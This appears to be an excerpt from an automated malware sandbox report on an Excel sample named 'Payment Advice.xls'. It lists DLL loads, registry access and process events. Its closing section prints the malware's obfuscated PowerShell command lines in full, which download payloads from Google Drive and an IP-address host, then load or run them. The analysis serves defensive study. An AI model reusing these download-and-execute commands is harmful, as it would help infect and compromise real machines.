Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: wow64win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: ucrtbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: netapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: wkscli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: samcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: samlib.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: rasadhlp.dll

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: Payment Advice.xls

Static file information: File size 1081344 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.pdbhP source: powershell.exe, 00000010.00000002.497828214.00000000026A6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.pdb source: powershell.exe, 00000010.00000002.497828214.00000000026A6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.pdbhP source: powershell.exe, 00000005.00000002.483382869.0000000002271000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.pdb source: powershell.exe, 00000005.00000002.483382869.0000000002271000.00000004.00000800.00020000.00000000.sdmp

Source: DA430000.0.dr

Initial sample: OLE indicators vbamacros = False

Source: Payment Advice.xls

Initial sample: OLE indicators encrypted = True

Data Obfuscation

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"

PowerShell case anomaly found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"
